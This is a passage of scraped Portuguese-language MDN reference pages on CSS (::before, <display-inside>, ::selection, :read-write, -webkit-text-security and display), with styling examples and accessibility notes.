red;\n}\n```\n\n\n#### Saída\n\n### Exemplo decorativo\n\nPodemos estilizar textos e imagens na propriedade `content` praticamente da forma que desejarmos.\n\n#### Conteúdo HTML\n\n\n```html\n<span class=\"ribbon\">Observe onde a caixa laranja está.</span>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\n.ribbon {\n  background-color: #5bc8f7;\n}\n\n.ribbon::before {\n  content: \"Olhe para esta caixa laranja.\";\n  background-color: #ffba10;\n  border-color: black;\n  border-style: dotted;\n}\n```\n\n\n#### Saída\n\n### Lista To-do\n\nNeste exemplo vamos criar uma simples lista de tarefas, usando pseudo-elementos. Este método pode frequentemente ser utilizado para dar pequenos toques à UI (User Interface) e melhorar a experiência do usuário.\n\n#### Conteúdo HTML\n\n\n```html\n<ul>\n  <li>Comprar Leite</li>\n  <li>Levar o cachorro para passear</li>\n  <li>Exercitar-se</li>\n  <li>Escrever codigo</li>\n  <li>Tocar musica</li>\n  <li>Relaxar</li>\n</ul>\n```\n\n\n#### Conteúdo CSS\n\n\n```css\nli {\n  list-style-type: none;\n  position: relative;\n  margin: 2px;\n  padding: 0.5em 0.5em 0.5em 2em;\n  background: lightgrey;\n  font-family: sans-serif;\n}\n\nli.done {\n  background: #ccff99;\n}\n\nli.done::before {\n  content: \"\";\n  position: absolute;\n  border-color: #009933;\n  border-style: solid;\n  border-width: 0 0.3em 0.25em 0;\n  height: 1em;\n  top: 1.3em;\n  left: 0.6em;\n  margin-top: -1em;\n  transform: rotate(45deg);\n  width: 0.5em;\n}\n```\n\n\n#### Conteúdo JavaScript\n\n\n```js\nvar list = document.querySelector(\"ul\");\nlist.addEventListener(\n  \"click\",\n  function (ev) {\n    if (ev.target.tagName === \"LI\") {\n      ev.target.classList.toggle(\"done\");\n    }\n  },\n  false,\n);\n```\n\n\nAqui está rodando o código acima. Perceba que nenhum ícone é utilizado e o check-mark é o `::before` que foi estilizado no CSS.\n\n#### Saída\n\nNotas\n-----\n\nEmbora as correções posicionadas e fixadas no Firefox 3.5 não permitam que o conteúdo seja gerado como um irmão anterior ao elemento (conforme a especificação para o CSS indicam \"Os Pseudo-elementos :before e :after interagem com outros elementos como se fosse elementos reais inseridos dentro do elemento associado.\"), eles podem ser usados para proporcionar uma ligeira melhora em layouts sem tables (por exemplo, para alcançar a centralização), a medida que o conteúdo a ser centrado está envolvido com um elemento filho adicional, uma coluna antes e depois do conteúdo pode ser introduzida sem adicionar elementos filhos reais (isto é, talvez mais semanticamente correto para adicionar uma pequena distância, do que seria adicionar um div vazio antes e / ou depois). (E sempre lembre-se de adicionar uma largura a um flutuador, pois, de outra forma, não flutuará!)\n\n#### HTML content\n\n\n```html\n<div class=\"example\">\n  <span id=\"floatme\"\n >\"Floated Before\" should be generated on the left of the viewport and not\n    allow overflow in this line to flow under it. Likewise should \"Floated\n    After\" appear on the right of the viewport and not allow this line to flow\n    under it.</span\n >\n</div>\n```\n\n\n#### CSS content\n\n\n```css\n#floatme {\n  float: left;\n  width: 50%;\n}\n\n/\\* To get an empty column, just indicate a hex code for a non-breaking space: \\a0 as the content (use \\0000a0 when following such a space with other characters) \\*/\n.example::before {\n  content: \"Floated Before\";\n  float: left;\n  width: 25%;\n}\n.example::after {\n  content: \"Floated After\";\n  float: right;\n  width: 25%;\n}\n\n/\\* For styling \\*/\n.example::before,\n.example::after,\n.first {\n  background: yellow;\n  color: red;\n}\n```\n\n\n#### Output\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Pseudo-Elements Module Level 4 # generated-content |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `::after`, `content`"}
{"title":"<display-inside> - CSS","text":"<display-inside>\n================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since September 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nEssas palavras-chave especificam o interior do elemento`display` type, que define o tipo de contexto de formatação que apresenta seu conteúdo (supondo que seja um elemento não substituído). Essas palavras-chave são usadas como valores do `display` e pode ser usada para fins legados como uma única palavra-chave ou conforme definido na especificação do Nível 3, juntamente com um valor do `<display-outside>` palavras-chave.\n\nSintaxe\n-------\n\nO `<display-inside>` O valor é definido usando uma palavra-chave da lista abaixo:\n\n`flow` \nExperimental\n\n O elemento expõe seu conteúdo usando o layout de fluxo (layout em bloco e em linha).\n Se o seu tipo de exibição externo for\n\n\n`inline` ou `run-in`,\n\ne estiver participando de um contexto de formatação em bloco ou em linha, gera uma caixa em linha. Caso contrário, ele gera uma caixa de contêiner de bloco.\n\nDependendo do valor de outras propriedades como\n\n`position`, `float`, ou `overflow`) e se ele próprio participa de um contexto de formatação em bloco ou embutido, ele estabelece um novo contexto de formatação de bloco (BFC) para seu conteúdo ou integra seu conteúdo ao contexto de formatação pai.\n\n`flow-root` \nExperimental\n\nO elemento gera uma caixa de elemento de bloco que estabelece um novo contexto de formatação de bloco, definindo onde está a raiz da formatação.\n\n`table`\n\nEsses elementos se comportam como HTML`<table>` elementos. Ele define uma caixa no nível do bloco.\n\n`flex`\n\nO elemento se comporta como um elemento de bloco e expõe seu conteúdo de acordo com o modelo flexbox.\n\n`grid`\n\nO elemento se comporta como um elemento de bloco e expõe seu conteúdo de acordo com o modelo de grade.\n\n`ruby` \nExperimental\n\nO elemento se comporta como um elemento embutido e apresenta seu conteúdo de acordo com o modelo de formatação ruby. Ele se comporta como o HTML correspondente`<ruby>` elementos.\n\n\n**Nota:**: Navegadores que suportam a sintaxe de dois valores, encontrando apenas o valor interno, como quando `display: flex` or `display: grid` especificado, definirá seu valor externo como `block`. Isso resultará no comportamento esperado; por exemplo, se você especificar um elemento a ser `display: grid`, você esperaria que a caixa criada no contêiner da grade fosse uma caixa no nível do bloco.\n\n### Sintaxe formal\n```\n\n<display-inside> =   \n  flow       | (en-US)  \n  flow-root  | (en-US)  \n  table      | (en-US)  \n  flex       | (en-US)  \n  grid       | (en-US)  \n  ruby         \n  \n```\n\nExemplo\n-------\n\nNeste exemplo, a caixa pai foi fornecida `display: flow-root` e assim estabelece um novo BFC e contém o item flutuado.\n\n### HTML\n\n\n```html\n<div class=\"box\">\n  <div class=\"float\">I am a floated box!</div>\n  <p>I am content inside the container.</p>\n</div>\n```\n\n### CSS\n\n\n```css\n.box {\n  background-color: rgb(224, 206, 247);\n  border: 5px solid rebeccapurple;\n  display: flow-root;\n}\n\n.float {\n  float: left;\n  width: 200px;\n  height: 150px;\n  background-color: white;\n  border: 1px solid black;\n  padding: 10px;\n}\n```\n\n### Resultado\n\nCompatibilidade com navegadores\n-------------------------------\n\n### Suporte a vários valores de palavras-chave\n\n### css.properties.display.multi-keyword\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flow-root\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.table\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.ruby\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de fluxo-raiz\n\n### css.properties.display.multi-keyword\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flow-root\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.table\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.ruby\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de tabela\n\n### css.properties.display.multi-keyword\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flow-root\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.table\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.ruby\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de grade\n\n### css.properties.display.multi-keyword\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flow-root\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.table\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.ruby\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de flex\n\n### css.properties.display.multi-keyword\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flow-root\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.table\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.ruby\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Suporte de ruby\n\n### css.properties.display.multi-keyword\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flow-root\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.table\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.grid\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.flex\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### css.properties.display.ruby\\_values\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `display`\n    + `<display-outside>`\n    + `<display-listitem>`\n    + `<display-internal>`\n    + `<display-box>`\n    + `<display-legacy>`\n* Conceitos básicos do Flexbox\n* Conceitos básicos de layout de grade"}
{"title":"::selection - CSS","text":"::selection\n===========\n\nO pseudo-elemento CSS **`::selection`** aplica estilos para partes do documento que foram selecionadas pelo usuário (tal como clicar e arrastar o ponteiro do mouse através de um texto.\n\n\n```css\n::selection {\n  background-color: cyan;\n}\n```\n\nPropriedades permitidas\n-----------------------\n\nApenas certas propriedades podem ser usadas com o `::selection`:\n\n* `color`\n* `background-color`\n* `cursor`\n* `caret-color` (en-US)\n* `outline` and its longhands\n* `text-decoration` and its associated properties\n* `text-emphasis-color` (en-US)\n* `text-shadow`\n\n> \n> **Warning:** Em particular, `background-image` (en-US) é ignorada.\n> \n> \n> \n\nSintaxe\n-------\n```\n\n/* Sintaxe legado do Firefox (até a versão 61) */\n::-moz-selection\n\nError: could not find syntax for this item\n```\n\nExemplo\n-------\n\n### HTML\n\n\n```html\nEsse texto tem estilos especiais quando selecionado.\n<p>Tente selecionando também o texto nesse parágrafo.</p>\n```\n\n### CSS\n```\n\n::-moz-selection {\n  color: gold;\n  background-color: red;\n}\n\np::-moz-selection {\n  color: white;\n  background-color: blue;\n}\n```\n\n\n\n```css\n/\\* Texto selecionado dourado com o fundo vermelho \\*/\n::selection {\n  color: gold;\n  background-color: red;\n}\n\n/\\* Texto selecionado branco com o fundo azul \\*/\np::selection {\n  color: white;\n  background-color: blue;\n}\n```\n\n### Resultado\n\nPreocupações com acessibilidade\n-------------------------------\n\n**Não substitua os estilos de texto selecionados por razões puramente estéticas** — os usuários podem personalizá-los para atender às suas necessidades. Para pessoas com problemas cognitivos ou com menos conhecimento tecnológico, alterações inesperadas nos estilos de seleção podem prejudicar sua compreensão da funcionalidade.\n\nSe substituído, é importante garantir que a **taxa de contraste** entre o texto e as cores de plano de fundo da seleção seja alta o suficiente para que pessoas com condições de baixa visão possam lê-lo.\n\nA taxa de contraste da cor é encontrada comparando a luminosidade do texto selecionado e as cores de fundo do texto selecionado. Para atender às atuais Diretrizes de acessibilidade de conteúdo da Web (WCAG), o conteúdo de texto deve ter uma taxa de contraste de 4.5:1 ou 3:1 para texto maior, como títulos. (WCAG define texto grande entre 18,66 px e 24 px e negrito, ou 24 px ou maior.)\n\nFacilite para os usuários ver e ouvir o conteúdo, incluindo a separação do primeiro plano do segundo plano\n\n* WebAIM: Verificador de Constraste de Cor\n* MDN Understanding WCAG,1.4: Facilite para os usuários vizualizarem o conteúdo, incluindo a separação do primeiro plano do segundo plano (em inglês). (en-US)\n* Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Pseudo-Elements Module Level 4 # selectordef-selection |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `pointer-events` - permite autores controlarem sob qualquer circustancia(se houver) um elemento gráfico particular podendo ser o alvo do evento do mouse."}
{"title":":read-write - CSS","text":":read-write\n===========\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA pseudo-classe CSS **`:read-write`** representa um elemento (como o `input` ou `textarea`) que é editável pelo usuário.\n\n\n```css\ninput:read-write,\ntextarea:read-write {\n  background-color: #bbf;\n}\n\np:read-write {\n  background-color: #bbf;\n}\n```\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\n### Confirmando informações do formulário em controles read-only/read-write\n\nAo utilizar os controles de formulário `readonly` permite que o usuário verifique e verifique as informações que eles podem ter inserido em um formulário anterior (por exemplo: Detalhes de envio), enquanto ainda pode enviar as informações junto com o resto do formulário. Nós fazemos exatamente isso no exemplo abaixo.\n\nA pseudo-classe `:read-only` *(:somente-leitura)* é usada para remover todo o estilo que faz com que as entradas pareçam campos clicáveis, fazendo com que pareçam outro parágrafo *somente-leitura*. A pseudo-classe `:read-write` *(:leitura-escrita)* por outro lado, é usado para fornecer um estilo mais agradável para a `<textarea>`.\n\n\n```css\ninput:-moz-read-only,\ntextarea:-moz-read-only,\ninput:read-only,\ntextarea:read-only {\n  border: 0;\n  box-shadow: none;\n  background-color: white;\n}\n\ntextarea:-moz-read-write,\ntextarea:read-write {\n  box-shadow: inset 1px 1px 3px #ccc;\n  border-radius: 5px;\n}\n```\n\n\nVocê pode encontrar o código fonte completo em readonly-confirmation.html (disponível em inglês); isso torna assim:\n\n### Estilizar controle não formal de read-write\n\nEste seletor não seleciona apenas `<input>`/`<textarea>` elementos - ele selecionará qualquer elemento que possa ser editado pelo usuário, como um `<p>` elemento com `contenteditable` definido sobre ele.\n\n\n```html\n<p contenteditable>Este parágrafo é editável; é read-write.</p>\n\n<p>Este parágrafo não é editável; é read-only.</p>\n```\n\n\n\n```css\np {\n  font-size: 150%;\n  padding: 5px;\n  border-radius: 5px;\n}\n\np:read-only {\n  background-color: red;\n  color: white;\n}\n\np:read-write {\n  background-color: lime;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-read-write |\n| Selectors Level 4 # rw-pseudos |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `:read-only` (en-US)\n* Atributo HTML `contenteditable`."}
{"title":"-webkit-text-security - CSS","text":"-webkit-text-security\n=====================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\n**`-webkit-text-security`** é uma propriedade CSS não padronizada que ofusca caracteres em um campo `<form>` (en-US) (como `<input>` ou `<textarea>`) substituindo eles com uma forma. Afeta apenas campos que não são `type=password`.\n\nSintaxe\n-------\n\n\n```css\n-webkit-text-security: circle;\n-webkit-text-security: disc;\n-webkit-text-security: square;\n-webkit-text-security: none;\n```\n\nExemplo\n-------\n\nTente digitar no campo abaixo. Se o seu navegador suportar essa propriedade, os caracteres deverão ser visualmente substituídos por quadrados.\n\n### HTML\n\n\n```html\n<label for=\"name\">Name:</label> <input type=\"text\" name=\"name\" id=\"name\" />\n```\n\n### CSS\n\n\n```css\ninput {\n  -webkit-text-security: square;\n}\n```\n\n### Result\n\nEspecificação\n-------------\n\n*Não faz parte de nenhuma especificação.*\n\nCompatibilidade com navegadores\n-------------------------------\n\nSuportado em navegadores baseados no WebKit e Blink.\n\nVeja também\n-----------\n\n* WebKit CSS extensions (en-US)"}
{"title":"Display - CSS","text":"Display\n=======\n\nA propriedade **`display`** CSS define se um elemento é tratado como um bloco ou elemento inline (en-US) e o layout usado para seus filhos, como layout de fluxo (en-US), grid ou flex.\n\nFormalmente, a propriedade **`display`** define os *tipos de exibição* internos e externos de um elemento. O tipo externo define a participação de um elemento no layout de fluxo (en-US); o tipo interno define o layout dos filhos. Alguns valores de `display` são totalmente definidos em suas próprias especificações individuais; por exemplo, o detalhe do que acontece quando `display: flex` é declarado é definido na especificação CSS Flexible Box Model.\n\nSintaxe\n-------\n\nA propriedade CSS `display` é especificada usando valores de palavra-chave.\n\n\n```css\n/\\* valores pré-compostos \\*/\ndisplay: block;\ndisplay: inline;\ndisplay: inline-block;\ndisplay: flex;\ndisplay: inline-flex;\ndisplay: grid;\ndisplay: inline-grid;\ndisplay: flow-root;\n\n/\\* geração de caixas \\*/\ndisplay: none;\ndisplay: contents;\n\n/\\* sintaxe de dois valores \\*/\ndisplay: block flow;\ndisplay: inline flow;\ndisplay: inline flow-root;\ndisplay: block flex;\ndisplay: inline flex;\ndisplay: block grid;\ndisplay: inline grid;\ndisplay: block flow-root;\n\n/\\* outros valores \\*/\ndisplay: table;\ndisplay: table-row; /\\* todos os elementos da tabela têm um valor de exibição CSS equivalente \\*/\ndisplay: list-item;\n\n/\\* Valores globais \\*/\ndisplay: inherit;\ndisplay: initial;\ndisplay: revert;\ndisplay: revert-layer;\ndisplay: unset;\n```\n\nValores agrupados\n-----------------\n\nOs valores de palavra-chave podem ser agrupados em seis categorias de valor.\n\n### Fora\n\n`<display-outside>`\n\nessas palavras-chave especificam o tipo de exibição externa do elemento, que é essencialmente sua função no layout de fluxo:\n\n`block`\n\nO elemento gera uma caixa de elemento de bloco, gerando quebras de linha antes e depois do elemento quando no fluxo normal.\n\n`inline`\n\nO elemento gera uma ou mais caixas de elemento em linha que não geram quebras de linha antes ou depois de si mesmas. No fluxo normal, o próximo elemento estará na mesma linha se houver espaço.\n\n\n\n**Nota:** Navegadores que suportam a sintaxe de dois valores, ao localizar apenas o valor externo, como quando `display: block` ou `display: inline` é especificado, definirão o valor interno como `flow`.\n Isso resultará no comportamento esperado; por exemplo, se você especificar um elemento para ser bloco, você esperaria que os filhos desse elemento participassem do bloco e do layout de fluxo normal embutido.\n\n\n### Lado de dentro\n\n`<display-inside>`\n\nEstas palavras-chave especificam o tipo de exibição interna do elemento, que define o tipo de contexto de formatação em que seu conteúdo é apresentado (supondo que seja um elemento não substituído):\n\n`flow` \nExperimental\n\nO elemento apresenta seu conteúdo usando o layout de fluxo (layout de bloco e linha).\n\nSe seu tipo de exibição externa for `inline` ou `run-in`, e estiver participando de um bloco ou contexto de formatação inline, ele gerará uma caixa inline. Caso contrário, gera uma caixa de contêiner de bloco.\n\nDependendo do valor de outras propriedades (como `position`, `float` ou `overflow`) e se ele próprio está participando em um contexto de formatação em bloco ou em linha, ele estabelece um novo contexto de formatação de bloco (en-US) (BFC) para seu conteúdo ou integra seu conteúdo em seu contexto de formatação pai.\n\n`flow-root`\n\nO elemento gera uma caixa de elemento de bloco que estabelece um novo contexto de formatação de bloco (en-US), definindo onde está a raiz de formatação.\n\n`table`\n\nEsses elementos se comportam como elementos HTML `<table>`. Ele define uma caixa de nível de bloco.\n\n`flex`\n\nO elemento se comporta como um elemento de bloco e apresenta seu conteúdo de acordo com o modelo flexbox.\n\n`grid`\n\nO elemento se comporta como um elemento de bloco e apresenta seu conteúdo de acordo com o modelo de grade.\n\n`ruby` \nExperimental\n\nO elemento se comporta como um elemento inline e apresenta seu conteúdo de acordo com o modelo de formatação ruby. Ele se comporta como os elementos HTML `<ruby>` correspondentes.\n\n\n\n**Nota:** Navegadores que suportam a sintaxe de dois valores, ao encontrar apenas o valor interno, como quando `display: flex` ou `display: grid` é especificado, definirão seu valor externo como `block`.\n Isso resultará no comportamento esperado; por exemplo, se você especificar um elemento como `display: grid`, você esperaria que a caixa criada no contêiner da grade fosse uma caixa de nível de bloco.\n\n\n### Item de lista\n\n`<display-listitem>`\n\nO elemento gera uma caixa de bloco para o conteúdo e uma caixa inline de item de lista separada.\n\n\n Um único valor de `list-item` fará com que o elemento se comporte como um item de lista.\n Isso pode ser usado junto com `list-style-type` (en-US) e `list-style-position` (en-US).\n\n`list-item` também pode ser combinado com qualquer palavra-chave `<display-outside>` e `flow` ou `flow-root` `<display-inside>` palavras-chave.\n\n**Nota:** Em navegadores que suportam a sintaxe de dois valores, se nenhum valor interno for especificado, o padrão será `flow`.\n Se nenhum valor externo for especificado, a caixa principal terá um tipo de exibição externa de `bloco`.\n\n\n### Interno\n\n`<display-internal>`\n\n Alguns modelos de layout como `table` e `ruby` possuem uma estrutura interna complexa, com vários papéis diferentes que seus filhos e descendentes podem preencher.\n Esta seção define os valores de exibição \"internos\", que só têm significado dentro desse modo de layout específico.\n\n\n`table-row-group`\n\nEsses elementos se comportam como `<tbody>` (en-US) elementos HTML.\n\n`table-header-group`\n\nEsses elementos se comportam como `<thead>` (en-US) elementos HTML.\n\n`table-footer-group`\n\nEsses elementos se comportam como `<tfoot>` elementos HTML.\n\n`table-row`\n\nEsses elementos se comportam como `<tr>` (en-US) elementos HTML.\n\n`table-cell`\n\nEsses elementos se comportam como `<td>` (en-US) elementos HTML.\n\n`table-column-group`\n\nEsses elementos se comportam como `<colgroup>` (en-US) elementos HTML.\n\n`table-column`\n\nEsses elementos se comportam como `<col>` (en-US) elementos HTML.\n\n`table-caption`\n\nEsses elementos se comportam como `<caption>` elementos HTML.\n\n`ruby-base` \nExperimental\n\nEsses elementos se comportam como `<rb>` (en-US) elementos HTML.\n\n`ruby-text` \nExperimental\n\nEsses elementos se comportam como `<rt>` (en-US) elementos HTML.\n\n`ruby-base-container` \nExperimental\n\nEsses elementos são gerados como caixas anônimas.\n\n`ruby-text-container` \nExperimental\n\nEsses elementos se comportam como `<rtc>` (en-US) elementos HTML.\n\n\n### Caixa\n\n`<display-box>`\n\nEsses valores definem se um elemento gera caixas de exibição.\n\n`contents`\n\nEsses elementos não produzem uma caixa específica por si mesmos. Eles são substituídos por sua pseudocaixa e suas caixas filhas. Observe que a especificação CSS Display Level 3 define como o valor `contents` deve afetar os \"elementos incomuns\" — elementos que não são renderizados puramente por conceitos de caixa CSS, como elementos substituídos. Consulte Apêndice B: Efeitos da exibição: conteúdo sobre elementos incomuns para obter mais detalhes.\n\n*Devido a um bug nos navegadores, isso removerá o elemento da árvore de acessibilidade - os leitores de tela não verão o que está dentro. Consulte a seção Preocupações de acessibilidade abaixo para obter mais detalhes.*\n\n`none`\n\n Desativa a exibição de um elemento para que não tenha efeito no layout (o documento é renderizado como se o elemento não existisse). Todos os elementos descendentes também têm sua exibição desligada.\n Para que um elemento ocupe o espaço que normalmente ocuparia, mas sem realmente renderizar nada, use a propriedade `visibility`.\n\n\n\n### Pré-composto\n\n`<display-legacy>`\n\nCSS 2 usava uma palavra-chave única, sintaxe pré-composta para a propriedade `display`, exigindo palavras-chave separadas para variantes de nível de bloco e nível inline do mesmo modo de layout.\n\n`inline-block`\n\nO elemento gera uma caixa de elemento de bloco que fluirá com o conteúdo ao redor como se fosse uma única caixa em linha (comportando-se como um elemento substituído faria).\n\nÉ equivalente a `inline flow-root`.\n\n`inline-table`\n\nO valor `inline-table` não possui um mapeamento direto em HTML. Ele se comporta como um elemento HTML `<table>`, mas como uma caixa embutida, em vez de uma caixa em nível de bloco. Dentro da caixa da tabela há um contexto de nível de bloco.\n\nÉ equivalente a `tabela inline`.\n\n`inline-flex`\n\nO elemento se comporta como um elemento inline e apresenta seu conteúdo de acordo com o modelo flexbox.\n\nÉ equivalente a `inline flex`.\n\n`inline-grid`\n\nO elemento se comporta como um elemento inline e apresenta seu conteúdo de acordo com o modelo de grade.\n\nÉ equivalente a `inline grid`.\n\n\n### Qual sintaxe você deve usar agora?\n\nA especificação de Nível 3 detalha dois valores para a propriedade `display` — habilitando explicitamente a especificação do tipo de exibição externa e interna — mas isso ainda não é bem suportado pelos navegadores.\n\nOs métodos `<display-legacy>` pré-compostos permitem os mesmos resultados com valores de palavra-chave única e devem ser favorecidos pelos desenvolvedores até que os dois valores de palavra-chave sejam melhor suportados. Por exemplo, usando dois valores, você pode especificar um contêiner flexível em linha da seguinte forma:\n\n\n```css\n.container {\n  display: inline flex;\n}\n```\n\n\nAtualmente, isso pode ser especificado usando um único valor.\n\n\n```css\n.container {\n  display: inline-flex;\n}\n```\n\n\nPara obter mais informações sobre essas alterações na especificação, consulte o artigo Adapting to the new two-value sintax of display (en-US).\n\n### Global\n\n\n```css\n/\\* Valores globais \\*/\ndisplay: inherit;\ndisplay: initial;\ndisplay: unset;\n```\n\nDescrição\n---------\n\nAs páginas individuais para os diferentes tipos de valor que o `display` pode ter definido apresentam vários exemplos desses valores em ação — consulte a seção Sintaxe. Além disso, consulte o material a seguir, que abrange os vários valores de exibição em profundidade.\n\n* Adaptando-se à nova sintaxe de exibição de dois valores (en-US)\n### Layout de fluxo CSS (exibir: bloquear, exibir: embutido)\n\n* Block and Inline Layout in Normal Flow (en-US)\n* Flow Layout and Overflow (en-US)\n* Layout de fluxo e modos de escrita (en-US)\n* Contextos de formatação explicados (en-US)\n* Em fluxo e fora de fluxo (en-US)\n### display: flex\n\n* Conceitos básicos do flexbox\n* Alinhamento de itens em um contêiner flexível\n* Controle de proporções de itens flexíveis ao longo do eixo principal (en-US)\n* Mastering Wrapping of Flex Items (en-US)\n* Ordering Flex Items (en-US)\n* Relação do flexbox com outros métodos de layout (en-US)\n* Casos de uso típicos do Flexbox (en-US)\n### display: grid\n\n* Conceitos básicos de layout de grade\n* Relação com outros métodos de layout\n* Posicionamento baseado em linha (en-US)\n* Áreas de modelo de grade (en-US)\n* Layout usando linhas de grade nomeadas (en-US)\n* Colocação automática no layout da grade (en-US)\n* Alinhamento da caixa no layout da grade (en-US)\n* Grades, valores lógicos e modos de escrita (en-US)\n* Layout e acessibilidade da grade CSS (en-US)\n* Layout de grade CSS e aprimoramento progressivo (en-US)\n* Realizando layouts comuns usando grades (en-US)\nPreocupações de acessibilidade\n------------------------------\n\n### display: none\n\nUsar um valor `display` de `none` em um elemento irá removê-lo da árvore de acessibilidade (en-US). Isso fará com que o elemento e todos os seus descendentes não sejam mais anunciados pela tecnologia de leitura de tela.\n\nSe você deseja ocultar visualmente o elemento, uma alternativa mais acessível é usar uma combinação de propriedades para remover visualmente da tela, mas mantenha-o analisável por tecnologia assistiva, como leitores de tela.\n\n### display: contents\n\nAs implementações atuais na maioria dos navegadores removerão da árvore de acessibilidade (en-US) qualquer elemento com um valor `display` de `contents` (mas os descendentes permanecerão). Isso fará com que o próprio elemento não seja mais anunciado pela tecnologia de leitura de tela. Este é um comportamento incorreto de acordo com a especificação CSS.\n\n* Marcação mais acessível com exibição: conteúdo | Esconda de Vries\n* Exibir: o conteúdo não é uma redefinição de CSS | Adrian Roselli\n### Tabelas\n\nAlterar o valor `display` de um elemento `<table>` para `block`, `grid` ou `flex` alterará sua representação na árvore de acessibilidade. Isso fará com que a mesa não seja mais anunciada corretamente pela tecnologia de leitura de tela.\n\n* Pequena nota sobre o que as propriedades de exibição CSS fazem com a semântica da tabela — The Paciello Group\n* Conteúdo oculto para melhor a11y | Vá fazer coisas\n* MDN Understanding WCAG, Diretriz 1.3 explicações (en-US)\n* Entendendo o Critério de Sucesso 1.3.1 | W3C Understanding WCAG 2.0\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | `inline` |\n| Aplica-se a | all elements |\n| Inherited | não |\n| Computed value | as the specified value, except for positioned and floating elements and the root element. In both cases the computed value may be a keyword other than the one specified. |\n| Animation type | Discrete behavior except when animating to or from `none` is visible for the entire duration |\n\nSintaxe formal\n--------------\n```\n\ndisplay =   \n  [ (en-US) <display-outside> || (en-US) <display-inside> ] (en-US)         | (en-US)  \n  <display-listitem>                                | (en-US)  \n  <display-internal>                                | (en-US)  \n  <display-box>                                     | (en-US)  \n  <display-legacy>                                  | (en-US)  \n  <display-outside> || (en-US) [ (en-US) <display-inside> | (en-US) math ] (en-US)    \n  \n<display-outside> =   \n  block   | (en-US)  \n  inline  | (en-US)  \n  run-in    \n  \n<display-inside> =   \n  flow       | (en-US)  \n  flow-root  | (en-US)  \n  table      | (en-US)  \n  flex       | (en-US)  \n  grid       | 